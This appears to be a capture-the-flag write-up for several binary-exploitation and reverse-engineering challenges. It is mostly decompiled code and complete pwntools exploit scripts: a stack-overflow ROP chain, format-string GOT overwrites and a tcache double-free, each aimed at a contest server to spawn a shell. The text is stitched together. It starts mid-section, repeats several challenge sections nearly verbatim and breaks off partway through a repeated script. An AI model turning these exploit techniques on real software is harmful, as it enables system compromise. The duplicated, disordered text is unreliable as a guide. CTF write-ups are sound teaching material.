sub_5555555577A7(0x10u, 8); string::substr((__int64)&v52, (__int64)&v31, 2 * i, 2LL); stringstream::stringstream(&v26, &v52, v24); string::destructor((__int64)&v52); std::istream::operator>>(&v26, &v28); input_char = (_BYTE *)string::operator_index(&input, i); string::operator_add(&v30, (unsigned int)(char)(v28 ^ *input_char ^ 0x8F ^ i++)); basic_stringstream::destructor(&v26);}``` This is basically `xor`, but `v28` is not dependent on current time instead of input flag, so we need to brute-force crack the `rand() % 0xffff` that produces the byte sequence that gives the correct flag after `xor` operation. But how to get that byte sequence given a particular `unsigned short` value? My approach is to patch the binary. Firstly, let it accept the second argument as the value that should have been generated by `rand()`. This can be done by changing the assembly. However, we need `atoi` function but there is no such function imported in this binary. The way to solve this is to change the `"srand"` or `"rand"` string in symbol string table to `"atoi"`, so that the function becomes `atoi`. Also, we need to cancel the `xor` operation such that the byte sequence being outputted into file is not encrypted flag but the byte sequence generated from the second argument. We get the flag using following script ```pythonfrom os import system def read_file(filename): f = open(filename, "rb") ret = f.read() f.close() return ret for x in xrange(1,0xffff): system("./archimedes2 flagenc %d" % x) key = read_file("./flagenc.enc") enc = read_file("./flag.enc") flag = "" for i in xrange(0x2f): flag += chr(ord(key[i]) ^ ord(enc[i]) ^ 0x8f ^ i) print flag``` However, this is slow, it might take much time to traverse all 65534 cases, but fortunately the flag comes up very soon. Also here is the [patched program](files/archimedes2).
## ## 83 Pwn / Silk Road I Brute-force crack the ID, secret must be numeric string so it does not take very long to crack ```c#include <stdio.h>#include <stdlib.h>#include <stdbool.h> bool sub_40140A(char *secret){ size_t v1; // r12 size_t v2; // r12 bool ret; // al int v4; // [rsp+1Ch] [rbp-34h] int v5; // [rsp+34h] [rbp-1Ch] int v6; // [rsp+38h] [rbp-18h] int sint; // [rsp+3Ch] [rbp-14h] sint = strtol(secret, 0LL, 10); ret = 0; if ( sint % (strlen(secret) + 2) || secret[4] != '1' ) return ret; v6 = sint / 100000; v5 = sint % 10000; if ( 10 * (sint % 10000 / 1000) + sint % 10000 % 100 / 10 - (10 * (sint / 100000 / 1000) + sint / 100000 % 10) != 1 || 10 * (v6 / 100 % 10) + v6 / 10 % 10 - 2 * (10 * (v5 % 100 / 10) + v5 % 1000 / 100) != 8 ) { return ret; } v4 = 10 * (v5 / 100 % 10) + v5 % 10; if ( (10 * (v6 % 10) + v6 / 100 % 10) / v4 != 3 || (10 * (v6 % 10) + v6 / 100 % 10) % v4 ) return ret; v1 = strlen(secret) + 2; v2 = (strlen(secret) + 2) * v1; if ( sint % (v5 * v6) == v2 * (strlen(secret) + 2) + 6 ) ret = 1; return ret;} char buf[0x100]; int main(int argc, char const *argv[]){ for (size_t i = 0; i < 0x100000000; ++i) { snprintf(buf, sizeof(buf), "%d", (int)i); if (sub_40140A(buf)) puts(buf);//790317143 } return 0;}``` Nickname is not hard to get so I will skip it. Then there is a stack-overflow, which is easy. ```pythonfrom pwn import * g_local=0p = ELF("./silkroad.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./silkroad.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 58399) def prepare(): sh.recvuntil("ID: ") sh.send("790317143") sh.recvuntil("nick: ") sh.send("DreadPirateRobertsXiz\x00") sh.recvuntil("delete evidince and run Silkroad!\n")prepare()sh.sendline("A" * (64+8) + p64(0x401bab) + p64(p.got["puts"]) + p64(p.plt["puts"]) + p64(0x401AFD)) leak = sh.recvuntil('\n')libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) prepare()sh.sendline("A" * (64+8) + p64(0x401B4B) + p64(0x401bab) + \ p64(libc_addr + next(e.search("/bin/sh"))) + p64(libc_addr + e.symbols["system"]) + p64(0)) sh.interactive()``` ## 171 Pwn / Silk Road II Since many `strtol` is used, so I would guess this token is also numeric and it is also can be brute-force cracked, but this time I will load the ELF executable as a shared library and call the verification function directly. ```c#include <stdio.h>#include <dlfcn.h>#include <memory.h>typedef int (*func_t)(char *);char buf[0x100];char key[0x100]; //to clear the stack of verification function, //because use of `strncpy` will cause uninitialized variable access (no null terminate)//which causes unexpected results if `strcat` is called to that string latervoid clear_stack(){ char buf[0x1000]; memset(buf, 0, sizeof(buf));} int main(int argc, char const *argv[]){ char* addr = *(char**)dlopen("./silkroad_2.elf", RTLD_NOW | RTLD_GLOBAL); func_t f = (func_t)(addr + 0x1C06); for (int i = 0; i < 0x3b9aca00; ++i) { sprintf(buf, "%.9d", i); for (int i = 0; i < 4; ++i) { key[i] = buf[i]; } for (int i = 0; i < 5; ++i) { key[6 + i] = buf[4 + i]; } key[4] = '1'; key[5] = '1';//4,5 must be length, which is always 11 key[11] = 0; clear_stack(); if (f(key) == 1) puts(buf); } return 0;}``` The vulnerability is format string vulnerability, when error message is printed if an invalid command is given. We can rewrite got table entry of `printf`, then hijack the `rip` and get shell using `one_gadget` ```pythonfrom pwn import * g_local=1context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./silkroad_2.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 47299) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("98831114236")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x98dprint hex(prog_addr) pg = prog_addr + 0x3f50 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` ## 182 Pwn / Silk Road III The vulnerability is exactly same, but the verification is different. ```csigned __int64 __fastcall sub_1FCA(char *input){ int v1; // eax int v2; // ST1C_4 unsigned __int64 v3; // rbx size_t v4; // r12 size_t v5; // r12 char v6; // bl int v7; // ebx int v8; // ebx size_t v9; // rax signed __int64 result; // rax signed int i; // [rsp+14h] [rbp-4Ch] signed int j; // [rsp+14h] [rbp-4Ch] signed int k; // [rsp+14h] [rbp-4Ch] signed int l; // [rsp+14h] [rbp-4Ch] char _1337[5]; // [rsp+22h] [rbp-3Eh] char v16[6]; // [rsp+27h] [rbp-39h] char v17[6]; // [rsp+2Dh] [rbp-33h] char haystack[6]; // [rsp+33h] [rbp-2Dh] char v19[15]; // [rsp+39h] [rbp-27h] unsigned __int64 v20; // [rsp+48h] [rbp-18h] v20 = __readfsqword(0x28u); haystack[5] = 0; for ( i = 0; i <= 4; ++i ) haystack[i] = input[strlen(input) - 5 + i]; if ( !strstr(haystack, "1337") ) // 14:19 goto LABEL_23; //must contain 1337, and be either X1337 or 1337X v1 = strtol(haystack, 0LL, 10); v2 = 100 * (input[13] - '0') + 1000 * (input[6] - '0') + input[15] - '0'; v3 = v1; v4 = strlen(input); v5 = strlen(input) * v4; if ( v3 % (strlen(input) * v5) != v2 ) goto LABEL_23;// 1337XorX1337 % len**3 must have ten digit being 0 for ( j = 0; j <= 4; ++j ) { v16[j] = input[j]; v17[j] = input[strlen(input) - 10 + j]; } v16[5] = 0; v17[5] = 0; for ( k = 0; k <= 14; ++k ) v19[k] = input[k]; v19[14] = 0; for ( l = 0; l <= 3; ++l ) _1337[l] = haystack[l + 1]; _1337[4] = 0; if ( strstr(v19, _1337) && (v6 = *input, v6 == input[strlen(input) - 8])// [0] == [11] && (v7 = input[strlen(input) - 2] - 48, v8 = input[strlen(input) - 3] - 48 // [17] + [16] + [15] + 1 == [1] + v7, v8 + input[strlen(input) - 4] - 48 + 1 == input[1] - 48) && (v9 = strlen(input), v9 == 19 * ((unsigned __int64)(0xD79435E50D79435FLL * (unsigned __int128)v9 >> 64) >> 4)) )// len must == 19 { result = 1LL; } else {LABEL_23: result = 0xFFFFFFFFLL; } return result;}``` Actually the restriction is easier to bypass than second version, `X813373XXXXXX931337` can pass the check. ```pythonfrom pwn import * g_local=0context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./ross.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 31337) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("X813373XXXXXX931337")sh.recvuntil("your nick: ")sh.sendline("admin")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x1E9D - 5print hex(prog_addr) pg = prog_addr + 0x5F68 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` The exploit is same, except some offset has been changed. ## 116 Pwn / pwn 101 Vulnerability is off-by-one, we can use this to extend the chunk size of unsorted bin to create overlap to leak the `libc` address; then we can get the same chunk twice in 2 different indices, so we can use double free to poison `tcache bins` and rewrite `__free_hook`. ```pythonfrom pwn import *from struct import unpack as upg_local=0#p = ELF("./pwn101.elf")context(log_level='debug', arch='amd64')#e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./pwn101.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 29099) sh.recvuntil("> ")def add(length, name, description="20192019"): sh.sendline("1") sh.recvuntil("Description Length: ") sh.sendline(str(length)) sh.recvuntil("Phone Number: ") sh.sendline("2019") sh.recvuntil("Name: ") sh.send(name) sh.recvuntil("Description: ") sh.send(description) sh.recvuntil("> ") def delete(idx): sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("> ") def show(idx): sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("Description : ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1] for i in xrange(7): add(0x200, 'name', 'fill tcache')add(0x200, 'ab') #7for i in xrange(7): delete(i) add(0x58, 'c', 'A' * 0x50 + p64(0x1f0)) #0add(0x100, 'pad') #1delete(7) add(0x78, "offbyone", 'a' * 0x78 + '\xf1') #2#0x191 -> 0x1f1add(0x180, "leak") #3libc_addr = u64(show(0) + '\x00\x00') - 0x3ebca0print hex(libc_addr)#0x7fe5e1b31ca0 on server, so 2.27 add(0x50, '22', "/bin/sh") #4 delete(4)delete(0) add(0x50, 'consume', p64(libc_addr + 0x3ed8e8))#e.symbols["__free_hook"]))add(0x50, 'consume')add(0x50, '/bin/sh\x00', p64(libc_addr + 0x4f440))#e.symbols["system"])) #5 sh.sendline("3")sh.recvuntil("Index: ")sh.sendline(str(5)) sh.interactive()``` ## 104 Pwn / Precise average The stack overflow is obvious, but we need to find ways to bypass canary protection. The key is to send `"-"` as the floating point number, which is invalid and `scanf` will return negative, but it will not rewrite the pointer passed as argument and leave it as it is. By using this technique canary will not be rewritten. ```pythonfrom pwn import *from struct import unpack as upg_local=0p = ELF("./precise_avg.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./precise_avg.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 12499) pop_rdi = p64(0x4009c3)main = p64(0x4007D0) def exploit(rop): sh.recvuntil("Number of values: ") length = 35 + len(rop)/8 sh.sendline(str(length)) for i in xrange(35): sh.sendline("-") for i in xrange(0, len(rop), 8): sh.sendline("%.800f" % up("<d", rop[i:i+8])[0]) sh.recvuntil("Result = ") sh.recvuntil('\n') rop = pop_rdirop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += mainexploit(rop) leak = sh.recvuntil('\n') libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) rop = p64(0x400958) #retnrop += pop_rdirop += p64(libc_addr + next(e.search("/bin/sh")))rop += p64(libc_addr + e.symbols["system"])rop += p64(0) exploit(rop) sh.interactive()``` ## 287 Reverse / Mind Space This is a C++ reverse engineering challenge. Fortunately the optimization is not enabled, otherwise many C++ built-in functions would be "inlined" and the codes would be very messy. The key is to recognize `std::vector`, `std::string` and `angles` structure. ```cstruct angles{ _QWORD field_0; _QWORD field_8;};//actually they are `double` typestruct vector{ angles *pointer; angles *end; angles *real_end;};struct string{ char *pointer; size_t len; size_t maxlen_data; __int64 field_18;};``` I would not detail the C++ implementation here, if you want to know just search online or write some test codes with STL and reverse them. Here are some critical codes: ```cwhile ( !std::basic_ios<char,std::char_traits<char>>::eof(&input_stream_256) ){ v17 = 0LL; std::getline(input_stream, &flag;; v17 = string::find(&flag, ", ", 0LL); string::substr(&v14, &flag, 0LL, v17); string::operator_assign(&a1a, &v14); string::string_des(&v14); string::erase(&flag, 0LL, v17 + 1); sndnum = string::strtod((__int64)&flag, 0LL); a3 = sndnum - 80.0 - (double)i; fstnum = string::strtod((__int64)&a1a, 0LL); vector::push_back_withcheck(&a2, (double)i++ + fstnum - 80.0, a3); // fstnum is modified and inserted as field_8, and sndnum is field_0}``` ```c__int64 __fastcall encode(string *a1, double a2){ double v2; // ST00_8 bool v4; // [rsp+17h] [rbp-19h] char v5; // [rsp+18h] [rbp-18h] int v6; // [rsp+1Ch] [rbp-14h] v2 = a2; v6 = 2 * (signed int)round(100000.0 * a2); if ( v2 < 0.0 ) v6 = ~v6; string::string(a1); do { v4 = v6 >> 5 > 0; v5 = v6 & 0x1F; if ( v6 >> 5 > 0 ) v5 |= 0x20u; // a little bit similar to uleb128 in android string::operator_add(a1, (unsigned int)(char)(v5 + 0x3F)); v6 >>= 5; } while ( v4 ); return (__int64)a1;}``` This is the solving script ```pythondef read_flagenc(): f = open("./flag.txt.enc", "rb") ret = f.read() f.close() return map(ord, ret[:-1]) def recover_ints(data): ret = [] i = 0 off = 0 for c in data: n = c - 0x3f if (n & 0x20) == 0: i += n << (5 * off) ret.append(i) i = 0 off = 0 else: n -= 0x20 assert n < 0x20 i += n << (5 * off) off += 1 return ret arr = recover_ints(read_flagenc()) def back_to_double(i): if i % 1000 == 999: # if it is originally negative i = -i - 1 assert i % 1000 == 0 # % 2 == 0 return i / 2 / 100000.0 arr = map(back_to_double, arr) last0 = 0.0last1 = 0.0for i in xrange(0, len(arr), 2): arr[i] += last1 arr[i+1] += last0 last0 = arr[i+1] last1 = arr[i] #arr[i],arr[i+1] = arr[i+1],arr[i] for i in xrange(0, len(arr), 2): arr[i] = arr[i] + 80.0 - (i/2 + 1) arr[i+1] = arr[i+1] + 80.0 + (i/2 + 1) print arrprint "".join(map(lambda x : chr(int(x)), arr)) out = ""for i in xrange(0, len(arr), 2): out += "%.2f, %.2f\n" % (arr[i], arr[i+1]) # we know it is %.2f because it is the results are too close to it # (something like xx.xx9999999 or xx.xx00000001) out = out[:-1] f = open("flag.txt", 'wb')f.write(out)f.close()``` Then we have a `flag.txt`, but how do we get the flag from it? After asking for help from organizers (well, they told me this so it was allowed :D), we knew that for a floating point number `aa.bb`, `bb` is index `aa` is `ascii` value, so we can get the flag. ## 195 Reverse / Archimedes This is the critical code that generate encrypted flag. ```cwhile ( 1 ){ v23 = i; if ( v23 >= string::size(&input) ) break; v24 = sub_5555555577A7(0x10u, 8); string::substr((__int64)&v52, (__int64)&v31, 2 * i, 2LL); stringstream::stringstream(&v26, &v52, v24); string::destructor((__int64)&v52); std::istream::operator>>(&v26, &v28); input_char = (_BYTE *)string::operator_index(&input, i); string::operator_add(&v30, (unsigned int)(char)(v28 ^ *input_char ^ 0x8F ^ i++)); basic_stringstream::destructor(&v26);}``` This is basically `xor`, but `v28` is not dependent on current time instead of input flag, so we need to brute-force crack the `rand() % 0xffff` that produces the byte sequence that gives the correct flag after `xor` operation. But how to get that byte sequence given a particular `unsigned short` value? My approach is to patch the binary. Firstly, let it accept the second argument as the value that should have been generated by `rand()`. This can be done by changing the assembly. However, we need `atoi` function but there is no such function imported in this binary. The way to solve this is to change the `"srand"` or `"rand"` string in symbol string table to `"atoi"`, so that the function becomes `atoi`. Also, we need to cancel the `xor` operation such that the byte sequence being outputted into file is not encrypted flag but the byte sequence generated from the second argument. We get the flag using following script ```pythonfrom os import system def read_file(filename): f = open(filename, "rb") ret = f.read() f.close() return ret for x in xrange(1,0xffff): system("./archimedes2 flagenc %d" % x) key = read_file("./flagenc.enc") enc = read_file("./flag.enc") flag = "" for i in xrange(0x2f): flag += chr(ord(key[i]) ^ ord(enc[i]) ^ 0x8f ^ i) print flag``` However, this is slow, it might take much time to traverse all 65534 cases, but fortunately the flag comes up very soon. Also here is the [patched program](files/archimedes2).
## ## 83 Pwn / Silk Road I Brute-force crack the ID, secret must be numeric string so it does not take very long to crack ```c#include <stdio.h>#include <stdlib.h>#include <stdbool.h> bool sub_40140A(char *secret){ size_t v1; // r12 size_t v2; // r12 bool ret; // al int v4; // [rsp+1Ch] [rbp-34h] int v5; // [rsp+34h] [rbp-1Ch] int v6; // [rsp+38h] [rbp-18h] int sint; // [rsp+3Ch] [rbp-14h] sint = strtol(secret, 0LL, 10); ret = 0; if ( sint % (strlen(secret) + 2) || secret[4] != '1' ) return ret; v6 = sint / 100000; v5 = sint % 10000; if ( 10 * (sint % 10000 / 1000) + sint % 10000 % 100 / 10 - (10 * (sint / 100000 / 1000) + sint / 100000 % 10) != 1 || 10 * (v6 / 100 % 10) + v6 / 10 % 10 - 2 * (10 * (v5 % 100 / 10) + v5 % 1000 / 100) != 8 ) { return ret; } v4 = 10 * (v5 / 100 % 10) + v5 % 10; if ( (10 * (v6 % 10) + v6 / 100 % 10) / v4 != 3 || (10 * (v6 % 10) + v6 / 100 % 10) % v4 ) return ret; v1 = strlen(secret) + 2; v2 = (strlen(secret) + 2) * v1; if ( sint % (v5 * v6) == v2 * (strlen(secret) + 2) + 6 ) ret = 1; return ret;} char buf[0x100]; int main(int argc, char const *argv[]){ for (size_t i = 0; i < 0x100000000; ++i) { snprintf(buf, sizeof(buf), "%d", (int)i); if (sub_40140A(buf)) puts(buf);//790317143 } return 0;}``` Nickname is not hard to get so I will skip it. Then there is a stack-overflow, which is easy. ```pythonfrom pwn import * g_local=0p = ELF("./silkroad.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./silkroad.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 58399) def prepare(): sh.recvuntil("ID: ") sh.send("790317143") sh.recvuntil("nick: ") sh.send("DreadPirateRobertsXiz\x00") sh.recvuntil("delete evidince and run Silkroad!\n")prepare()sh.sendline("A" * (64+8) + p64(0x401bab) + p64(p.got["puts"]) + p64(p.plt["puts"]) + p64(0x401AFD)) leak = sh.recvuntil('\n')libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) prepare()sh.sendline("A" * (64+8) + p64(0x401B4B) + p64(0x401bab) + \ p64(libc_addr + next(e.search("/bin/sh"))) + p64(libc_addr + e.symbols["system"]) + p64(0)) sh.interactive()``` ## 171 Pwn / Silk Road II Since many `strtol` is used, so I would guess this token is also numeric and it is also can be brute-force cracked, but this time I will load the ELF executable as a shared library and call the verification function directly. ```c#include <stdio.h>#include <dlfcn.h>#include <memory.h>typedef int (*func_t)(char *);char buf[0x100];char key[0x100]; //to clear the stack of verification function, //because use of `strncpy` will cause uninitialized variable access (no null terminate)//which causes unexpected results if `strcat` is called to that string latervoid clear_stack(){ char buf[0x1000]; memset(buf, 0, sizeof(buf));} int main(int argc, char const *argv[]){ char* addr = *(char**)dlopen("./silkroad_2.elf", RTLD_NOW | RTLD_GLOBAL); func_t f = (func_t)(addr + 0x1C06); for (int i = 0; i < 0x3b9aca00; ++i) { sprintf(buf, "%.9d", i); for (int i = 0; i < 4; ++i) { key[i] = buf[i]; } for (int i = 0; i < 5; ++i) { key[6 + i] = buf[4 + i]; } key[4] = '1'; key[5] = '1';//4,5 must be length, which is always 11 key[11] = 0; clear_stack(); if (f(key) == 1) puts(buf); } return 0;}``` The vulnerability is format string vulnerability, when error message is printed if an invalid command is given. We can rewrite got table entry of `printf`, then hijack the `rip` and get shell using `one_gadget` ```pythonfrom pwn import * g_local=1context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./silkroad_2.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 47299) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("98831114236")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x98dprint hex(prog_addr) pg = prog_addr + 0x3f50 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` ## 182 Pwn / Silk Road III The vulnerability is exactly same, but the verification is different. ```csigned __int64 __fastcall sub_1FCA(char *input){ int v1; // eax int v2; // ST1C_4 unsigned __int64 v3; // rbx size_t v4; // r12 size_t v5; // r12 char v6; // bl int v7; // ebx int v8; // ebx size_t v9; // rax signed __int64 result; // rax signed int i; // [rsp+14h] [rbp-4Ch] signed int j; // [rsp+14h] [rbp-4Ch] signed int k; // [rsp+14h] [rbp-4Ch] signed int l; // [rsp+14h] [rbp-4Ch] char _1337[5]; // [rsp+22h] [rbp-3Eh] char v16[6]; // [rsp+27h] [rbp-39h] char v17[6]; // [rsp+2Dh] [rbp-33h] char haystack[6]; // [rsp+33h] [rbp-2Dh] char v19[15]; // [rsp+39h] [rbp-27h] unsigned __int64 v20; // [rsp+48h] [rbp-18h] v20 = __readfsqword(0x28u); haystack[5] = 0; for ( i = 0; i <= 4; ++i ) haystack[i] = input[strlen(input) - 5 + i]; if ( !strstr(haystack, "1337") ) // 14:19 goto LABEL_23; //must contain 1337, and be either X1337 or 1337X v1 = strtol(haystack, 0LL, 10); v2 = 100 * (input[13] - '0') + 1000 * (input[6] - '0') + input[15] - '0'; v3 = v1; v4 = strlen(input); v5 = strlen(input) * v4; if ( v3 % (strlen(input) * v5) != v2 ) goto LABEL_23;// 1337XorX1337 % len**3 must have ten digit being 0 for ( j = 0; j <= 4; ++j ) { v16[j] = input[j]; v17[j] = input[strlen(input) - 10 + j]; } v16[5] = 0; v17[5] = 0; for ( k = 0; k <= 14; ++k ) v19[k] = input[k]; v19[14] = 0; for ( l = 0; l <= 3; ++l ) _1337[l] = haystack[l + 1]; _1337[4] = 0; if ( strstr(v19, _1337) && (v6 = *input, v6 == input[strlen(input) - 8])// [0] == [11] && (v7 = input[strlen(input) - 2] - 48, v8 = input[strlen(input) - 3] - 48 // [17] + [16] + [15] + 1 == [1] + v7, v8 + input[strlen(input) - 4] - 48 + 1 == input[1] - 48) && (v9 = strlen(input), v9 == 19 * ((unsigned __int64)(0xD79435E50D79435FLL * (unsigned __int128)v9 >> 64) >> 4)) )// len must == 19 { result = 1LL; } else {LABEL_23: result = 0xFFFFFFFFLL; } return result;}``` Actually the restriction is easier to bypass than second version, `X813373XXXXXX931337` can pass the check. ```pythonfrom pwn import * g_local=0context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./ross.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 31337) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("X813373XXXXXX931337")sh.recvuntil("your nick: ")sh.sendline("admin")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x1E9D - 5print hex(prog_addr) pg = prog_addr + 0x5F68 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` The exploit is same, except some offset has been changed. ## 116 Pwn / pwn 101 Vulnerability is off-by-one, we can use this to extend the chunk size of unsorted bin to create overlap to leak the `libc` address; then we can get the same chunk twice in 2 different indices, so we can use double free to poison `tcache bins` and rewrite `__free_hook`. ```pythonfrom pwn import *from struct import unpack as upg_local=0#p = ELF("./pwn101.elf")context(log_level='debug', arch='amd64')#e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./pwn101.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 29099) sh.recvuntil("> ")def add(length, name, description="20192019"): sh.sendline("1") sh.recvuntil("Description Length: ") sh.sendline(str(length)) sh.recvuntil("Phone Number: ") sh.sendline("2019") sh.recvuntil("Name: ") sh.send(name) sh.recvuntil("Description: ") sh.send(description) sh.recvuntil("> ") def delete(idx): sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("> ") def show(idx): sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("Description : ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1] for i in xrange(7): add(0x200, 'name', 'fill tcache')add(0x200, 'ab') #7for i in xrange(7): delete(i) add(0x58, 'c', 'A' * 0x50 + p64(0x1f0)) #0add(0x100, 'pad') #1delete(7) add(0x78, "offbyone", 'a' * 0x78 + '\xf1') #2#0x191 -> 0x1f1add(0x180, "leak") #3libc_addr = u64(show(0) + '\x00\x00') - 0x3ebca0print 